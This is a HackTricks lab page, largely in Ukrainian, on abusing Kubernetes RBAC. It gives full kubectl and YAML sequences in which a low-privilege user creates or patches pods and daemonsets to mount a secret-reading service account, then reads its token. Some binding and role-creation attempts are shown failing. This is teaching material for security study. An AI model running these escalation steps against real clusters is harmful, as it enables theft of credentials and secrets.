Kubernetes Roles Abuse Lab

Лабораторія з використання ролей Kubernetes

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Ви можете запустити ці лабораторні роботи просто в minikube.

Створення Пода -> Ескалація до ns SAs

Ми створимо:

  • Обліковий запис служби "test-sa" з привілеєм кластера для читання секретів

  • Буде створено ClusterRole "test-cr" та ClusterRoleBinding "test-crb"

  • Дозволи на перелік та створення підподів для користувача з ім'ям "Test" будуть надані

  • Буде створено Role "test-r" та RoleBinding "test-rb"

  • Потім ми підтвердимо, що SA може перелічити секрети та що користувач Test може переглянути підподи

  • Нарешті, ми підміняємо користувача Test, щоб створити под, який включає SA test-sa та вкрасти токен облікового запису служби.

  • Це спосіб показати, як користувач може ескалювати привілеї таким чином

Для створення сценарію використовується обліковий запис адміністратора. Більше того, для ексфільтрації токена sa у цьому прикладі використовується обліковий запис адміністратора, щоб виконати команду всередині створеного поду. Однак, як пояснено тут, декларація поду може містити ексфільтрацію токена, тому привілегія "exec" не є необхідною для ексфільтрації токена, досить дозвіл "створення".

```bash # Create Service Account test-sa # Create role and rolebinding to give list and create permissions over pods in default namespace to user Test # Create clusterrole and clusterrolebinding to give the SA test-sa access to secrets everywhere

echo 'apiVersion: v1 kind: ServiceAccount metadata: name: test-sa

kind: Role apiVersion: rbac.authorization.k8s.io/v1 metadata: name: test-r rules:

  • apiGroups: [""] resources: ["pods"] verbs: ["get", "list", "delete", "patch", "create"]


apiVersion: rbac.authorization.k8s.io/v1 kind: RoleBinding metadata: name: test-rb subjects:

  • kind: ServiceAccount name: test-sa

  • kind: User name: Test roleRef: kind: Role name: test-r apiGroup: rbac.authorization.k8s.io


kind: ClusterRole apiVersion: rbac.authorization.k8s.io/v1 metadata: name: test-cr rules:

  • apiGroups: [""] resources: ["secrets"] verbs: ["get", "list", "delete", "patch", "create"]


apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRoleBinding metadata: name: test-crb subjects:

  • kind: ServiceAccount namespace: default name: test-sa apiGroup: "" roleRef: kind: ClusterRole name: test-cr apiGroup: rbac.authorization.k8s.io' | kubectl apply -f -

Check test-sa can access kube-system secrets

kubectl --as system:serviceaccount:default:test-sa -n kube-system get secrets

Check user User can get pods in namespace default

kubectl --as Test -n default get pods

Create a pod as user Test with the SA test-sa (privesc step)

echo "apiVersion: v1 kind: Pod metadata: name: test-pod namespace: default spec: containers:

  • name: alpine image: alpine command: ['/bin/sh'] args: ['-c', 'sleep 100000'] serviceAccountName: test-sa automountServiceAccountToken: true hostNetwork: true"| kubectl --as Test apply -f -

Connect to the pod created an confirm the attached SA token belongs to test-sa

kubectl exec -ti -n default test-pod -- cat /var/run/secrets/kubernetes.io/serviceaccount/token | cut -d "." -f2 | base64 -d

Clean the scenario

kubectl delete pod test-pod kubectl delete clusterrolebinding test-crb kubectl delete clusterrole test-cr kubectl delete rolebinding test-rb kubectl delete role test-r kubectl delete serviceaccount test-sa

## Створення Daemonset
```bash
# Create Service Account test-sa
# Create role and rolebinding to give list & create permissions over daemonsets in default namespace to user Test
# Create clusterrole and clusterrolebinding to give the SA test-sa access to secrets everywhere

echo 'apiVersion: v1
kind: ServiceAccount
metadata:
name: test-sa
---
kind: Role
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: test-r
rules:
- apiGroups: ["apps"]
resources: ["daemonsets"]
verbs: ["get", "list", "create"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: test-rb
subjects:
- kind: User
name: Test
roleRef:
kind: Role
name: test-r
apiGroup: rbac.authorization.k8s.io
---
kind: ClusterRole
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: test-cr
rules:
- apiGroups: [""]
resources: ["secrets"]
verbs: ["get", "list", "delete", "patch", "create"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
name: test-crb
subjects:
- kind: ServiceAccount
namespace: default
name: test-sa
apiGroup: ""
roleRef:
kind: ClusterRole
name: test-cr
apiGroup: rbac.authorization.k8s.io' | kubectl apply -f -

# Check test-sa can access kube-system secrets
kubectl --as system:serviceaccount:default:test-sa -n kube-system get secrets

# Check user User can get pods in namespace default
kubectl --as Test -n default get daemonsets

# Create a daemonset as user Test with the SA test-sa (privesc step)
echo "apiVersion: apps/v1
kind: DaemonSet
metadata:
name: alpine
namespace: default
spec:
selector:
matchLabels:
name: alpine
template:
metadata:
labels:
name: alpine
spec:
serviceAccountName: test-sa
automountServiceAccountToken: true
hostNetwork: true
containers:
- name: alpine
image: alpine
command: ['/bin/sh']
args: ['-c', 'sleep 100000']"| kubectl --as Test apply -f -

# Connect to the pod created an confirm the attached SA token belongs to test-sa
kubectl exec -ti -n default daemonset.apps/alpine -- cat /var/run/secrets/kubernetes.io/serviceaccount/token | cut -d "." -f2 | base64 -d

# Clean the scenario
kubectl delete daemonset alpine
kubectl delete clusterrolebinding test-crb
kubectl delete clusterrole test-cr
kubectl delete rolebinding test-rb
kubectl delete role test-r
kubectl delete serviceaccount test-sa

Виправлення Daemonset

У цьому випадку ми збираємося виправити daemonset, щоб його pod завантажували наш обраний обліковий запис сервісу.

Якщо вашому користувачеві надано дієслово оновлення замість виправлення, це не працюватиме.

# Create Service Account test-sa
# Create role and rolebinding to give list & update patch permissions over daemonsets in default namespace to user Test
# Create clusterrole and clusterrolebinding to give the SA test-sa access to secrets everywhere

echo 'apiVersion: v1
kind: ServiceAccount
metadata:
name: test-sa
---
kind: Role
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: test-r
rules:
- apiGroups: ["apps"]
resources: ["daemonsets"]
verbs: ["get", "list", "patch"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: test-rb
subjects:
- kind: User
name: Test
roleRef:
kind: Role
name: test-r
apiGroup: rbac.authorization.k8s.io
---
kind: ClusterRole
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: test-cr
rules:
- apiGroups: [""]
resources: ["secrets"]
verbs: ["get", "list", "delete", "patch", "create"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
name: test-crb
subjects:
- kind: ServiceAccount
namespace: default
name: test-sa
apiGroup: ""
roleRef:
kind: ClusterRole
name: test-cr
apiGroup: rbac.authorization.k8s.io
---
apiVersion: apps/v1
kind: DaemonSet
metadata:
name: alpine
namespace: default
spec:
selector:
matchLabels:
name: alpine
template:
metadata:
labels:
name: alpine
spec:
automountServiceAccountToken: false
hostNetwork: true
containers:
- name: alpine
image: alpine
command: ['/bin/sh']
args: ['-c', 'sleep 100']' | kubectl apply -f -

# Check user User can get pods in namespace default
kubectl --as Test -n default get daemonsets

# Create a daemonset as user Test with the SA test-sa (privesc step)
echo "apiVersion: apps/v1
kind: DaemonSet
metadata:
name: alpine
namespace: default
spec:
selector:
matchLabels:
name: alpine
template:
metadata:
labels:
name: alpine
spec:
serviceAccountName: test-sa
automountServiceAccountToken: true
hostNetwork: true
containers:
- name: alpine
image: alpine
command: ['/bin/sh']
args: ['-c', 'sleep 100000']"| kubectl --as Test apply -f -

# Connect to the pod created an confirm the attached SA token belongs to test-sa
kubectl exec -ti -n default daemonset.apps/alpine -- cat /var/run/secrets/kubernetes.io/serviceaccount/token | cut -d "." -f2 | base64 -d

# Clean the scenario
kubectl delete daemonset alpine
kubectl delete clusterrolebinding test-crb
kubectl delete clusterrole test-cr
kubectl delete rolebinding test-rb
kubectl delete role test-r
kubectl delete serviceaccount test-sa

Не працює

Створення/Зміна прив'язок

Не працює:

  • Створити нове RoleBinding лише з дієсловом create

  • Створити нове RoleBinding лише з дієсловом patch (потрібні дозволи на прив'язку)

  • Ви не можете це зробити, щоб призначити роль собі або іншому SA

  • Змінити нове RoleBinding лише з дієсловом patch (потрібні дозволи на прив'язку)

  • Ви не можете це зробити, щоб призначити роль собі або іншому SA

echo 'apiVersion: v1
kind: ServiceAccount
metadata:
name: test-sa
---
apiVersion: v1
kind: ServiceAccount
metadata:
name: test-sa2
---
kind: Role
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: test-r
rules:
- apiGroups: ["rbac.authorization.k8s.io"]
resources: ["rolebindings"]
verbs: ["get", "patch"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: test-rb
subjects:
- kind: User
name: Test
roleRef:
kind: Role
name: test-r
apiGroup: rbac.authorization.k8s.io
---
kind: Role
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: test-r2
rules:
- apiGroups: [""]
resources: ["pods"]
verbs: ["get", "list", "delete", "patch", "create"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: test-rb2
subjects:
- kind: ServiceAccount
name: test-sa
apiGroup: ""
roleRef:
kind: Role
name: test-r2
apiGroup: rbac.authorization.k8s.io' | kubectl apply -f -

# Create a pod as user Test with the SA test-sa (privesc step)
echo "apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: test-r2
subjects:
- kind: ServiceAccount
name: test-sa2
apiGroup: ""
roleRef:
kind: Role
name: test-r2
apiGroup: rbac.authorization.k8s.io"| kubectl --as Test apply -f -

# Connect to the pod created an confirm the attached SA token belongs to test-sa
kubectl exec -ti -n default test-pod -- cat /var/run/secrets/kubernetes.io/serviceaccount/token | cut -d "." -f2 | base64 -d

# Clean the scenario
kubectl delete rolebinding test-rb
kubectl delete rolebinding test-rb2
kubectl delete role test-r
kubectl delete role test-r2
kubectl delete serviceaccount test-sa
kubectl delete serviceaccount test-sa2

Явні зв'язки прив'язок

У розділі "Запобігання підвищенню привілеїв та ініціалізація" на https://unofficial-kubernetes.readthedocs.io/en/latest/admin/authorization/rbac/ зазначено, що якщо SA може створювати прив'язку та має явні дозволи на прив'язку до Ролі/Кластерної ролі, він може створювати прив'язки навіть за допомогою Ролей/Кластерних ролей з дозволами, яких у нього немає. Однак це не спрацювало для мене:

# Create 2 SAs, give one of them permissions to create clusterrolebindings
# and bind permissions over the ClusterRole "admin"
echo 'apiVersion: v1
kind: ServiceAccount
metadata:
name: test-sa
---
apiVersion: v1
kind: ServiceAccount
metadata:
name: test-sa2
---
kind: ClusterRole
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: test-cr
rules:
- apiGroups: ["rbac.authorization.k8s.io"]
resources: ["clusterrolebindings"]
verbs: ["get", "create"]
- apiGroups: ["rbac.authorization.k8s.io/v1"]
resources: ["clusterroles"]
verbs: ["bind"]
resourceNames: ["admin"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
name: test-crb
subjects:
- kind: ServiceAccount
name: test-sa
namespace: default
roleRef:
kind: ClusterRole
name: test-cr
apiGroup: rbac.authorization.k8s.io
' | kubectl apply -f -

# Try to bind the ClusterRole "admin" with the second SA (won't work)
echo 'apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
name: test-crb2
subjects:
- kind: ServiceAccount
name: test-sa2
namespace: default
roleRef:
kind: ClusterRole
name: admin
apiGroup: rbac.authorization.k8s.io
' | kubectl --as system:serviceaccount:default:test-sa apply -f -

# Clean environment
kubectl delete clusterrolebindings test-crb
kubectl delete clusterrolebindings test-crb2
kubectl delete clusterrole test-cr
kubectl delete serviceaccount test-sa
kubectl delete serviceaccount test-sa
# Like the previous example, but in this case we try to use RoleBindings
# instead of CLusterRoleBindings

echo 'apiVersion: v1
kind: ServiceAccount
metadata:
name: test-sa
---
apiVersion: v1
kind: ServiceAccount
metadata:
name: test-sa2
---
kind: ClusterRole
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: test-cr
rules:
- apiGroups: ["rbac.authorization.k8s.io"]
resources: ["clusterrolebindings"]
verbs: ["get", "create"]
- apiGroups: ["rbac.authorization.k8s.io"]
resources: ["rolebindings"]
verbs: ["get", "create"]
- apiGroups: ["rbac.authorization.k8s.io/v1"]
resources: ["clusterroles"]
verbs: ["bind"]
resourceNames: ["admin","edit","view"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: test-rb
namespace: default
subjects:
- kind: ServiceAccount
name: test-sa
namespace: default
roleRef:
kind: ClusterRole
name: test-cr
apiGroup: rbac.authorization.k8s.io
' | kubectl apply -f -

# Won't work
echo 'apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: test-rb2
namespace: default
subjects:
- kind: ServiceAccount
name: test-sa2
namespace: default
roleRef:
kind: ClusterRole
name: admin
apiGroup: rbac.authorization.k8s.io
' | kubectl --as system:serviceaccount:default:test-sa apply -f -

# Clean environment
kubectl delete rolebindings test-rb
kubectl delete rolebindings test-rb2
kubectl delete clusterrole test-cr
kubectl delete serviceaccount test-sa
kubectl delete serviceaccount test-sa2

Довільне створення ролей

У цьому прикладі ми намагаємося створити роль з дозволами на створення та шлях до ресурсів ролей. Однак K8s заважає нам створювати роль з більшими дозволами, ніж у того, хто її створює:

# Create a SA and give the permissions "create" and "patch" over "roles"
echo 'apiVersion: v1
kind: ServiceAccount
metadata:
name: test-sa
---
kind: Role
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: test-r
rules:
- apiGroups: ["rbac.authorization.k8s.io"]
resources: ["roles"]
verbs: ["patch", "create", "get"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: test-rb
subjects:
- kind: ServiceAccount
name: test-sa
roleRef:
kind: Role
name: test-r
apiGroup: rbac.authorization.k8s.io
' | kubectl apply -f -

# Try to create a role over all the resources  with "create" and "patch"
# This won't wotrk
echo 'kind: Role
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: test-r2
rules:
- apiGroups: [""]
resources: ["*"]
verbs: ["patch", "create"]' | kubectl --as system:serviceaccount:default:test-sa apply -f-

# Clean the environment
kubectl delete rolebinding test-rb
kubectl delete role test-r
kubectl delete role test-r2
kubectl delete serviceaccount test-sa
Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Last updated